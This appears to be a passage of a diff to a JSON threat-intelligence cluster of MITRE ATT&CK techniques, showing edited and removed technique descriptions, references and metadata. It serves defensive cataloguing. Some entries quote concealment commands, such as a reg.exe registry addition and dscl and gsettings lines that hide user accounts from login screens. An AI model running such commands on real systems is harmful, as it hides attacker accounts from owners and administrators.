to gain access to protected resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE) ", - "meta": { - "external_id": "T1635.001", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1635/001", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/", - "https://developer.android.com/training/app-links/index.html", - "https://tools.ietf.org/html/rfc7636", - "https://tools.ietf.org/html/rfc8252" - ] - }, - "related": [ - { - "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", - "type": "subtechnique-of" - } - ], - "uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", - "value": "URI Hijacking - T1635.001" - }, { "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "meta": { @@ -19550,32 +17514,7 @@ "value": "Social Media - T1593.001" }, { - "description": "Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Calendar Entries](https://attack.mitre.org/techniques/T1636/001) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "value": "Calendar Entries - T1636.001" - }, - { - "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { "external_id": "T1055.014", "kill_chain": [ @@ -19620,7 +17559,6 @@ "mitre_data_sources": [ "Command: Command Execution", "Module: Module Load", - "Process: OS API Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification" ], @@ -19645,7 +17583,7 @@ "value": "AppInit DLLs - T1546.010" }, { - "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "meta": { "external_id": "T1547.010", "kill_chain": [ @@ -19811,8 +17749,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Snapshot: Snapshot Creation", - "Snapshot: Snapshot Metadata" + "Snapshot: Snapshot Creation" ], "mitre_platforms": [ "IaaS" @@ -19878,9 +17815,7 @@ "Process: OS API Execution" ], "mitre_platforms": [ - "Windows", - "Linux", - "macOS" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1542/002", @@ -19897,57 +17832,6 @@ "uuid": "791481f8-e96a-41be-b089-a088763083d4", "value": "Component Firmware - T1542.002" }, - { - "description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.", - "meta": { - "external_id": "T1628.002", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1628/002" - ] - }, - "related": [ - { - "dest-uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", - "type": "subtechnique-of" - } - ], - "uuid": "24a77e53-0751-46fc-b207-99378fb35c08", - "value": "User Evasion - T1628.002" - }, - { - "description": "An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.(Citation: Android resetPassword)", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629/002", - "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html", - "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", - "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/", - "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" - ] - }, - "related": [ - { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "type": "subtechnique-of" - } - ], - "uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", - "value": "Device Lockout - T1629.002" - }, { "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "meta": { @@ -19987,7 +17871,7 @@ "value": "Systemd Service - T1543.002" }, { - "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "meta": { "external_id": "T1552.003", "kill_chain": [ @@ -20159,31 +18043,6 @@ "uuid": "6e561441-8431-4773-a9b8-ccf28ef6a968", "value": "Search Engines - T1593.002" }, - { - "description": "Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Call Log](https://attack.mitre.org/techniques/T1636/002) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/002", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "value": "Call Log - T1636.002" - }, { "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", "meta": { @@ -20252,7 +18111,7 @@ "value": "Private Keys - T1552.004" }, { - "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", + "description": "Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\n\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\n\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)", "meta": { "external_id": "T1564.002", "kill_chain": [ @@ -20268,14 +18127,11 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://attack.mitre.org/techniques/T1564/002", - "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", - "https://support.apple.com/en-us/HT203998", - "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "https://www.us-cert.gov/ncas/alerts/TA18-074A" ] @@ -20290,7 +18146,7 @@ "value": "Hidden Users - T1564.002" }, { - "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", + "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", "meta": { "external_id": "T1547.002", "kill_chain": [ @@ -20322,7 +18178,7 @@ "value": "Authentication Package - T1547.002" }, { - "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", + "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "meta": { "external_id": "T1584.002", "kill_chain": [ @@ -20339,7 +18195,6 @@ "https://attack.mitre.org/techniques/T1584/002", "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html", "https://blogs.cisco.com/security/talos/angler-domain-shadowing", - "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/", "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows" ] @@ -20382,7 +18237,7 @@ "value": "Client Configurations - T1592.004" }, { - "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "description": "Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", "meta": { "external_id": "CAPEC-490", "kill_chain": [ @@ -20423,7 +18278,7 @@ "value": "Reflection Amplification - T1498.002" }, { - "description": "An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", + "description": "An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", "meta": { "external_id": "T1555.002", "kill_chain": [ @@ -20601,7 +18456,7 @@ "value": "Indicator Blocking - T1562.006" }, { - "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). \n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "CAPEC-163", "kill_chain": [ @@ -20625,8 +18480,7 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "https://capec.mitre.org/data/definitions/163.html", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", - "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", - "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/" + "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" ] }, "related": [ @@ -20694,21 +18548,17 @@ "value": "Service Execution - T1569.002" }, { - "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "meta": { "external_id": "T1589.002", "kill_chain": [ "mitre-attack:reconnaissance" ], - "mitre_data_sources": [ - "Network Traffic: Network Traffic Content" - ], "mitre_platforms": [ "PRE" ], "refs": [ "https://attack.mitre.org/techniques/T1589/002", - "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/", "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", "https://www.hackers-arise.com/email-scraping-and-maltego" ] @@ -20755,7 +18605,7 @@ "value": "Spearphishing Attachment - T1598.002" }, { - "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate 